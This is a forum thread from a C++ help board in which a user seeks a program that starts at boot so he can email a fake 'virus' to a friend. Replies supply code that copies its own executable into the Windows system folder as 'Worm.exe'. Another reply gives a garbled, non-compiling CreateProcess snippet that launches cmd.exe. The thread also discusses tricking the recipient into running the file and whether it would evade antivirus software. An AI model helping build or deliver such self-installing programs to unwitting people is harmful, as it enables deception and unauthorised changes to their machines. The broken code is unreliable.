How can I make a C++ Program that starts as soon as the computer boots up?
3 posters
:: C Languages :: C++ :: Help!
Page 1 of 1
How can I make a C++ Program that starts as soon as the computer boots up?
Hello all!
I would like to make a C++ Program that will automatically start up as soon as the computer boots up. The problem is that I don't know how. If somebody could please write a basic "Hello world" program that starts runs upon boot-up, it would be much appreciated. I don't want any fancy GUI stuff, but just want a simple console application.
I want to send a hoax virus to a friend that appears to be installing mal-ware on their computer upon boot-up.
Thanks in advance for all the help!
I would like to make a C++ Program that will automatically start up as soon as the computer boots up. The problem is that I don't know how. If somebody could please write a basic "Hello world" program that starts runs upon boot-up, it would be much appreciated. I don't want any fancy GUI stuff, but just want a simple console application.
I want to send a hoax virus to a friend that appears to be installing mal-ware on their computer upon boot-up.
Thanks in advance for all the help!
Nighthawk0973- Moderator
- Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer
Re: How can I make a C++ Program that starts as soon as the computer boots up?
Thanks nighthawk, but I want to incorporate the auto-start feature into the program so that way I can e-mail it to someone, and it will auto-start for them as well without them going through the process listed on the website link you gave me.
Re: How can I make a C++ Program that starts as soon as the computer boots up?
This is impossible. Not because of any C++ limitation, rather because a computer running windows, does not work like that.
legolizard- Posts : 137
Join date : 2011-08-01
Location : On planet Char.
Re: How can I make a C++ Program that starts as soon as the computer boots up?
Not 100% true. This must be possible in some form of another without the manual process shown in the link I posted. What about programs like Steam, or my anti-virus softwares. They always run right when windows boots up. Plus I saw on the a commercial where they had this laptop that boots up in 10 seconds, and to prove how fast and useful it is, they had 2 guys drop the laptop when in mid-air (in a plane) after pressing the power button. The laptop boot up and ran a program that deployed a parachute, saving the laptops life
Nighthawk0973- Moderator
- Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer
Re: How can I make a C++ Program that starts as soon as the computer boots up?
No it is not possible. You must understand that ALL the programs you have listed are ALL READY in your system directry/registry.
WAIT I HAD AN IDEA! (I rembered that I did this to my bro as a prank LAWL)
Let me find the file...
WAIT I HAD AN IDEA! (I rembered that I did this to my bro as a prank LAWL)
Let me find the file...
legolizard- Posts : 137
Join date : 2011-08-01
Location : On planet Char.
Re: How can I make a C++ Program that starts as soon as the computer boots up?
What do you mean? I have used tons of programs that have an option in the prefrences to start the application automatically upon boot-up.legolizard wrote:This is impossible. Not because of any C++ limitation, rather because a computer running windows, does not work like that.
Re: How can I make a C++ Program that starts as soon as the computer boots up?
Yeah I was wrong , you can do it. What an idiot I am.
Anyway here is the code, also note I am not resposible for any kid-like virus you want to make with this ity-bity script.
Also note I REALLY don't feel like explaing the code, partaily because it is wise to keep those with evil intentions ignorant and partially because I am VERY tired and lazy at the moment.
Anyway here is the code, also note I am not resposible for any kid-like virus you want to make with this ity-bity script.
Also note I REALLY don't feel like explaing the code, partaily because it is wise to keep those with evil intentions ignorant and partially because I am VERY tired and lazy at the moment.
- Code:
#include <windows.h>
#include <iostream>
char Worm[MAX_PATH];
char SysDir[MAX_PATH];
HMODULE HMod;
int main ()
{
HMod = GetModuleHandle(NULL);
GetModuleFileName(HMod , Worm , sizeof(Worm));
GetSystemDirectory(SysDir , sizeof(SysDir));
strcat(SysDir, "\\Worm.exe" );
if(CopyFile(Worm , SysDir , 0) == true){
std::cout << "Copying complete!\n";
}
else
std::cout <<"An unknown error has occured.\n";
return 0;
}
legolizard- Posts : 137
Join date : 2011-08-01
Location : On planet Char.
Re: How can I make a C++ Program that starts as soon as the computer boots up?
It is just a little something that I am going to try to use to creep someone out. Just a little evil trick on someone.legolizard wrote:Anyway here is the code, also note I am not resposible for any kid-like virus you want to make with this ity-bity script.
Anyways, thanks for the code! I hope it works! I will let you know how the "prank" goes after I have pulled it.
Testing code...
Last edited by David B on Tue Oct 11, 2011 9:14 pm; edited 1 time in total (Reason for editing : "Testing Code" message added.)
Re: How can I make a C++ Program that starts as soon as the computer boots up?
ahahahaha! You should totally make it do something SOO awesome! Like tell them theirs a virus on their computer or something hilarious like that. And than do something virus-like.
Nighthawk0973- Moderator
- Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer
Re: How can I make a C++ Program that starts as soon as the computer boots up?
*sigh*
Please don't do anything too bad because in the end I am the one that is going to get in trouble.
Please don't do anything too bad because in the end I am the one that is going to get in trouble.
legolizard- Posts : 137
Join date : 2011-08-01
Location : On planet Char.
Re: How can I make a C++ Program that starts as soon as the computer boots up?
not malicious content of course DB...
Nighthawk0973- Moderator
- Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer
Re: How can I make a C++ Program that starts as soon as the computer boots up?
Don't worry lego. I will see to it that, no matter how the prank goes, that you will not get in trouble. All I want is something that behaves like a virus, but in reality, doesn't do a single thing.legolizard wrote:*sigh*
Please don't do anything too bad because in the end I am the one that is going to get in trouble.
Of course not! I was going to make the "virus" have a bunch of cout statments all saying something that sounds like it would be part of an attack.Nighthawk0973 wrote:not malicious content of course DB...
_____________________-
As lego explained to me in the chat last night, the code he provided installs a file named, "worm.exe" on your computer. I searched for it just out of curosity, and during the search, here is what happened...
Anyway lego, would you please explain to me this: If the person that I want to pull the prank on doesn't open the program that installs the "virus", will the program run automatically the next time the boot up, or will I have to trick them into opening the file? Also, after the "virus" is installed, will it run automatically the next time on boot-up, or will it just sit there, waiting to be found by anti-virus software?
Re: How can I make a C++ Program that starts as soon as the computer boots up?
- Code:
LPCTSTR lpApplicationName = "C:/Windows/System32/cmd.exe"; /* The program to be executed */
LPSTARTUPINFO lpStartupInfo;
LPPROCESS_INFORMATION lpProcessInfo;
memset(&lpStartupInfo, 0, sizeof(lpStartupInfo));
memset(&lpProcessInfo, 0, sizeof(lpProcessInfo));
CreateProcess(lpApplicationName,
/* Create the process */
if (!CreateProcess(lpApplicationName
NULL, NULL, NULL,
NULL, NULL, NULL, NULL,
lpStartupInfo,
lpProcessInformation
)
) {
std::cerr << "Uh-Oh! CreateProcess() failed to start program "" << lpApplicationName << ""\n";
exit(1);
}
std::cout << "Started program "" << lpApplicationName << "" successfully\n";
and....
http://www.cplusplus.com/forum/lounge/17684/
Your Welcome!
(What a mess, you know what you need to do in C# to make a program run? Process.Start("ProgramFileLocation"); DONE!)
Nighthawk0973- Moderator
- Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer
Re: How can I make a C++ Program that starts as soon as the computer boots up?
I wrote:
Your Welcome!
What would we do without quotes...
Nighthawk0973- Moderator
- Posts : 307
Join date : 2011-07-20
Age : 25
Location : In Front of My Computer
Re: How can I make a C++ Program that starts as soon as the computer boots up?
Remember this...
Guest wrote:Spamming is not allowed.
Similar topics
» Tutorial program
» Nighthawks Java Tutorials (Look here if you need to learn Java!)
» I can make forums too!
» Let's make a team game with blitz!
» Nighthawks Java Tutorials (Look here if you need to learn Java!)
» I can make forums too!
» Let's make a team game with blitz!
:: C Languages :: C++ :: Help!
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum